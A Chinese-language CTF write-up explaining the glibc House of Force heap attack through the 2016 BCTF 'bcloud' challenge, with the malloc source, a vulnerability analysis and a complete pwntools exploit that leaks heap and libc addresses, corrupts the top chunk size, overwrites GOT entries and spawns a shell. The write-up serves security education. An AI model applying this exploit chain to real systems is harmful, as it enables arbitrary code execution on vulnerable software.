0x1 写在前面

本篇博客的原理分析部分大篇幅引用了m@9ρ13的文章,具体文章链接请参考文末。

House_of_Force是一种针对Top Chunk的有效攻击手段。

本文以2016-BCTF-bcloud为例题。

0x2 House_of_Force 原理介绍

top chunk的分割机制与利用点

Top Chunk的作用是作为后备堆空间,在各bin中没有chunk可提供时,分割出一个chunk提供给用户。

以下是相关的源码实现:

  1. victim = av->top;
  2. size = chunksize(victim);
  3. //检查Top Chunk大小是否大于用户申请所需大小 ⬇️
  4. if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
  5. {
  6. remainder_size = size - nb;
  7. remainder = chunk_at_offset(victim, nb);
  8. //将Top Chunk向后推到新位置 ⬇️
  9. av->top = remainder;
  10. set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
  11. set_head(remainder, remainder_size | PREV_INUSE);
  12. check_malloced_chunk(av, victim, nb);
  13. //返回原Top Chunk首地址 ⬇️
  14. void *p = chunk2mem(victim);
  15. alloc_perturb(p, bytes);
  16. return p;
  17. }

首先是libc会检查用户申请的大小,top chunk是否能给的起,如果给得起,就由top chunk的head处,以用户申请大小所匹配的chunk大小为偏移量,将top chunk的位置推到新的位置,而原来的top chunk head处就作为新的堆块被分配给用户了。

如果我们能控制top chunk在这个过程中推到任意位置,也就是说,如果我们能控制用户申请的大小为任意值,我们就能将top chunk劫持到任意内存地址,然后就可以控制目标内存。

pwn中劫持内存常常劫持的是malloc_hook、got表等指针,与堆空间中的top chunk相距甚远,远到所需要申请的size必定超出top chunk现有的大小(甚至有时劫持目标内存地址低于top chunk,我们需要申请负数大小的堆,转成unsigned int后会变成非常大的数),便无法通过上述源码中的大小检查。

观察源码可见:大小检查时用的数据类型是unsigned int,马上就可以想到,如果能通过某些漏洞(比如溢出)将top chunk的size字段篡改成-1,那么在做这个检查时,size就变成了无符号整数中最大的值,这样一来,不管用户申请多大的堆空间,管够!

此外,虽然此处的检查中,用户申请的大小也被当做无符号整型对待,但是在后面推top chunk的时候是作为int对待的,因此如果劫持目标内存地址比top chunk低,我们申请负数大小的内存是可以劫持过去的!

这样一来,打top chunk的思路就出来了:篡改top chunk的size为-1,然后劫持到任意内存。

这种攻击手段成为House of force(hof),能够进行hof攻击需要满足两个条件:

  1. 用户能够篡改top chunk的size字段(篡改为负数或很大值)
  2. 用户可以申请任意大小的堆内存(包括负数)

计算劫持偏移量的注意点

首先劫持目标地址应该做为用户区而不是堆块的头部,第二点是top chunk推的时候应该推到劫持目标地址对应堆块的头部,这个长度不等于你所申请的长度,而等于你所申请的长度加上size_head。

基于以上两点,我们的计算过程应当是:首先确定劫持目标内存地址,然后将此处看作堆块用户区算出其头部地址,然后用这个头部地址减去top chunk head地址得到一个offset,然后实现劫持需要申请的用户区大小即为offset – size_head(若涉及到重用对齐什么的自己按这个原则分析即可)。

0x3 以2016-BCTF-bcloud为例

漏洞点分析

  • 题目保护信息
    House_of_Force_Attack - 图1
    未开启FULL RELRO,可以劫持GOT。
  • 漏洞点
    House_of_Force_Attack - 图2
    Myread函数中存在一个Off-by-Null漏洞
    并且此处如果输入的长度与允许长度相同,将会导致字符串无截断,尽管程序会在最后添加一个\x00,但是添加的\x00一旦被覆盖,将会引发leak。

现在我们着重分析程序的初始化函数(get_info)

House_of_Force_Attack - 图3

那么首先看get_name函数

House_of_Force_Attack - 图4

此处我们可以看出,s与Name_Chunk相邻,那么如果我们在s中读入0x40个字符,之后会将Name_Chunk的地址放入其之后的位置,\x00将被覆盖,之后程序调用strcpy时,会将Name_Chunk的地址一并放入Name_Chunk中,之后程序调用了Welcome函数来打印Name_Chunk的值。进而会leak出Heap地址。

接下来看get_host_org函数

House_of_Force_Attack - 图5

此处我们考虑当我们在v4和v2中都填入0x40的padding时的情形,当程序执行到line 20时,会先copy Org中的0x40个字节,紧接着由于v2是Org_chunk的首地址,显然不会存在\x00,那么会继续copy v2的四个字节。注意,此时因为Org_chunk是最后分配的Chunk,copy v2的四个字节会直接覆盖掉Top Chunk的prev_size域,那么如果我们在host中输入FF FF FF FF,我们将会把Top Chunk的size域覆盖为-1,进而完成House of force的第一步!

漏洞利用

leak_heap&劫持Top_Chunk Size域

sh.recvuntil('Input your name:')
sh.sendline('A'*0x30+'Heap_base_addr->')
sh.recvuntil('Heap_base_addr->')
Heap_base_addr=u32(sh.recvuntil('!').strip('!'))
log.info('Heap base address is ' + str(hex(Heap_base_addr)))
sh.recvuntil('Org:')
sh.sendline('A'*0x40)
sh.recvuntil('Host:')
sh.sendline(p32(0xFFFFFFFF))

劫持Top Chunk

此处我们想要让Chunk list被我们所控制,因此,我们要将Top Chunk推到Chunk list - 8地址处。

creat(0x40,'Chunk1')
creat(0x40,'Chunk2')
creat(0x40,'Chunk3')
creat(0x40,'Chunk4')
old_top_chunk_head=Heap_base_addr+(0x40+0x8)*7
new_top_chunk_head=0x0804B120-0x8
creat(new_top_chunk_head-old_top_chunk_head,'Chunk_fake')

这里我们提前分配了四个Chunk以供稍后使用。

劫持GOT表

creat(0x40,p32(bcloud.got['puts'])+p32(bcloud.got['free']))
edit(1,p32(bcloud.plt['puts']))
delete(0)
sh.recvline()
libc_base_addr=u32(sh.recv()[:4])-libc.symbols['puts']
system_addr=libc_base_addr+libc.symbols['system']
log.info('Libc base address is ' + str(hex(libc_base_addr)))
sh.sendline('3')
sh.recvuntil('Input the id:')
sh.sendline(str(1))
sh.recvuntil('Input the new content:')
sh.sendline(p32(system_addr))
edit(2,'/bin/sh\x00')
delete(2)

最终EXP

#encoding:utf-8
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

bcloud=ELF("./bcloud")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
    libc=ELF("../x86_libc.so.6")
else:
    sh = process("./bcloud")
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def creat(chunk_size,value):
    sh.recvuntil('option--->>')
    sh.sendline('1')
    sh.recvuntil('Input the length of the note content:')
    sh.sendline(str(chunk_size))
    sh.recvuntil('Input the content:')
    sh.sendline(value)

def edit(index,value):
    sh.recvuntil('option--->>')
    sh.sendline('3')
    sh.recvuntil('Input the id:')
    sh.sendline(str(index))
    sh.recvuntil('Input the new content:')
    sh.sendline(value)

def delete(index):
    sh.recvuntil('option--->>')
    sh.sendline('4')
    sh.recvuntil('Input the id:')
    sh.sendline(str(index))

sh.recvuntil('Input your name:')
sh.send('A'*0x30+'Heap_base_addr->')
sh.recvuntil('Heap_base_addr->')
Heap_base_addr=u32(sh.recvuntil('!').strip('!'))
log.info('Heap base address is ' + str(hex(Heap_base_addr)))
sh.recvuntil('Org:')
sh.send('B'*0x40)
sh.recvuntil('Host:')
sh.sendline(p32(0xFFFFFFFF))
creat(0x40,'Chunk1')
creat(0x40,'Chunk2')
creat(0x40,'/bin/sh\x00')
creat(0x40,'Chunk4')
old_top_chunk_head=Heap_base_addr+(0x40+0x8)*7
new_top_chunk_head=0x0804B120-0x8
creat(new_top_chunk_head-old_top_chunk_head,'Chunk_fake')
creat(0x40,p32(bcloud.got['puts'])+p32(bcloud.got['free']))
edit(1,p32(bcloud.plt['puts']))
delete(0)
sh.recvline()
libc_base_addr=u32(sh.recv()[:4])-libc.symbols['puts']
system_addr=libc_base_addr+libc.symbols['system']
log.info('Libc base address is ' + str(hex(libc_base_addr)))
sh.sendline('3')
sh.recvuntil('Input the id:')
sh.sendline(str(1))
sh.recvuntil('Input the new content:')
sh.sendline(p32(system_addr))
edit(2,'/bin/sh\x00')
delete(2)
sh.interactive()

0x4 参考链接

Top chunk劫持:House of force攻击